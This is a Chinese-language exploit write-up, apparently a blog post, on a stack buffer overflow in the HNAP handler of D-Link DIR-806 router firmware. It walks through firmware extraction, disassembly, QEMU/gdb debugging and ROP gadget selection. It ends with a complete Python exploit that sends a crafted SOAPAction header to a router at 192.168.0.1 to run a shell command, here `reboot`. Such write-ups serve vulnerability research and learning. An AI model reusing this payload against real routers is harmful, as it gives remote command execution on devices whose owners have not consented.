这个漏洞是dlink提供HTTP服务的cgibin组件中的hnap_main函数的sprintf对字符串长度处理不当造成的缓冲区溢出。以下是分析学习过程,如果错误欢迎指正。
固件版本为DIR-806,下载地址:
http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-806
下载完成之后,使用binwalk对固件进行分析提取。
binwalk -Me DIR806A1_FW100CNb11.bin
分析./etc/services/HTTP/httpcfg.php
可以看出,当请求连接为HNAP1时,程序会执行hnap程序进行解析。
if ($hnap > 0) { echo " Control". "\n". " {". "\n". " Alias /HNAP1". "\n". " Location /htdocs/HNAP1". "\n". " External". "\n". " {". "\n". " /usr/sbin/hnap { hnap }". "\n". " }". "\n". " IndexNames { index.hnap }". "\n". " }". "\n"; }
查看usr/sbin/hnap
正是/htdocs/cgibin
的软连接。
➜ squashfs-root ls -la usr/sbin/hnap lrwxrwxrwx 1 root root 14 Jan 9 20:57 usr/sbin/hnap -> /htdocs/cgibin
分析/htdocs/cgibin的main函数可知,当接收到hnap类型的请求时,程序会执行hnap_main
继续分析hnap_main,可以看到hnap_main中的sprintf处,程序并没有验证$4寄存器的长度,造成漏洞。所以我们可以将传入的数据覆盖掉寄存器$s0-$s7、$ra
.text:00412430 # --------------------------------------------------------------------------- .text:00412430 .text:00412430 loc_412430: # CODE XREF: hnap_main+4C4↑j .text:00412430 lui $a1, 0x42 .text:00412434 move $a0, $s4 # s .text:00412438 addiu $a2, (aVarRun_0 - 0x420000) # "/var/run/" .text:0041243C la $a1, aShSSShDevConso_0 # "sh %s%s.sh > /dev/console &" .text:00412440 .text:00412440 loc_412440: # CODE XREF: hnap_main+4D8↑j .text:00412440 jalr $t9 ; sprintf
有函数开头可知 栈空间为0x248字节大小。
hnap_main XREF[3]: Entry Point(*), main:00402fac(j), 00433b14(*) 00411f50 27 bd fd b8 addiu sp,sp,-0x248 assume gp = <UNKNOWN> 00411f54 af bf 02 44 sw ra,local_4(sp) 00411f58 af b7 02 40 sw s7,local_8(sp) 00411f5c af b6 02 3c sw s6,local_c(sp) 00411f60 af b5 02 38 sw s5,local_10(sp) 00411f64 af b4 02 34 sw s4,local_14(sp) 00411f68 af b3 02 30 sw s3,local_18(sp) 00411f6c af b2 02 2c sw s2,local_1c(sp) 00411f70 af b1 02 28 sw s1,local_20(sp) 00411f74 af b0 02 24 sw s0,local_24(sp) 00411f78 3c 1c 00 44 lui gp,0x44
程序返回时:
0x4124c4 <hnap_main+1396> lw $ra, 0x244($sp) 0x4124c8 <hnap_main+1400> lw $s7, 0x240($sp) 0x4124cc <hnap_main+1404> lw $s6, 0x23c($sp) 0x4124d0 <hnap_main+1408> lw $s5, 0x238($sp) 0x4124d4 <hnap_main+1412> lw $s4, 0x234($sp) 0x4124d8 <hnap_main+1416> lw $s3, 0x230($sp) 0x4124dc <hnap_main+1420> lw $s2, 0x22c($sp) 0x4124e0 <hnap_main+1424> lw $s1, 0x228($sp) 0x4124e4 <hnap_main+1428> lw $s0, 0x224($sp) 0x4124e8 <hnap_main+1432> jr $ra
所以我们可以覆盖$sp+0x244
的位置,构造ROP。
这里使用qemu的用户模式对其进行调试分析。为了编写和操作方便。把命令写到sh脚本中
注意,cgibin程序的hnap_main函数会获取一些变量值进行判断才能到达sprintf处。如下图
主要的环境变量有REQUEST_METHOD、REQUEST_URI等等,因此调试时需要设置些环境变量,绕过判断。
#!/bin/bash echo "testtest" | chroot . ./qemu-mips -0 "hnap" -E CONTENT_LENGTH=8 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/HNAP1/" -E REMOTE_ADDR="127.0.0.1" -g 1238 -E HTTP_SOAPACTION="<http://purenetworks.com/HNAP1/GetDeviceSettings/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac>" ./htdocs/cgibin
使用gdb-multiarch -q ./htdocs/cgibin
启动gdb
之后attach上本地的1238端口即可开始调试。
当执行完最后一个sprintf时。此时栈空间已经全部被填满:
此时执行完sprintf(即我们可控制)的地址是0x76fff298
,$sp+0x244
的地址是0x76fff4bc
,之间相差548个字节。
使用ropper在libc中找到些合适的ROP,准备构造:
0x000384d0: move $a0, $s4; move $t9, $s2; jalr $t9; nop;
栈中被sprintf填充的数据过多,通过计算,存在溢出点的地址应为195+6*4
字节处。
libc的基地址可以通过启动cgibin的pid,在/proc/PID/maps
中查看:(我这里是使用了qume模拟了固件
root@debian-mips:~# cat /proc/1033/maps 00400000-00415000 r-xp 00000000 08:01 449778 /root/httpd 00424000-00425000 rw-p 00014000 08:01 449778 /root/httpd 00425000-0069b000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 08:01 1347726 /lib/ld-uClibc.so.0 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aabc000-2aabd000 r--p 00004000 08:01 1347726 /lib/ld-uClibc.so.0 2aabd000-2aabe000 rw-p 00005000 08:01 1347726 /lib/ld-uClibc.so.0 2aabe000-2aac1000 r-xp 00000000 08:01 1347727 /lib/libcrypt.so.0 2aac1000-2aad0000 ---p 00000000 00:00 0 2aad0000-2aad1000 rw-p 00002000 08:01 1347727 /lib/libcrypt.so.0 2aad1000-2aae2000 rw-p 00000000 00:00 0 2aae2000-2ab42000 r-xp 00000000 08:01 1347730 /lib/libc.so.0 <--- 2ab42000-2ab51000 ---p 00000000 00:00 0 2ab51000-2ab52000 r--p 0005f000 08:01 1347730 /lib/libc.so.0 2ab52000-2ab53000 rw-p 00060000 08:01 1347730 /lib/libc.so.0 2ab53000-2ab58000 rw-p 00000000 00:00 0 2ab58000-2ab6a000 r-xp 00000000 08:01 1346441 /lib/libgcc_s.so.1 2ab6a000-2ab7a000 ---p 00000000 00:00 0 2ab7a000-2ab7b000 rw-p 00012000 08:01 1346441 /lib/libgcc_s.so.1 7f84c000-7f861000 rwxp 00000000 00:00 0 [stack]
最终exp如下:
from pwn import * import requests import sys def get_payload(): cmd="`reboot`".ljust(30,"a") libc_addr=0x2aae2000 payload="<http://purenetworks.com/HNAP1/GetDeviceSettings/>" payload+="a"*195 payload+="aaaa"*2 payload+=p32(libc_addr+0x52510,endian="big")#s2 payload+="aaaa"*3 payload+=p32(libc_addr+0x384d0,endian="big")#s6 payload+="aaaa" payload+=p32(libc_addr+0x0F5B4,endian="big")#ra payload+="aaaa"*4 payload+=cmd return payload data="ttt" if __name__=="__main__": fake_cmd=get_payload() header = { 'SOAPAction' : fake_cmd, 'Cookie' : "uid=UUzkPysdIW", 'Content-Type' : 'text/xml', 'Content-Length': str(len(data)) } url="<http://192.168.0.1/HNAP1/>" r=requests.post(url=url,headers=header,data=data) log.info("Success")
https://github.com/Kirin-say/Vulnerabilities/blob/master/DIR-806_Stack_Overflow_to_Run_Shellcode.md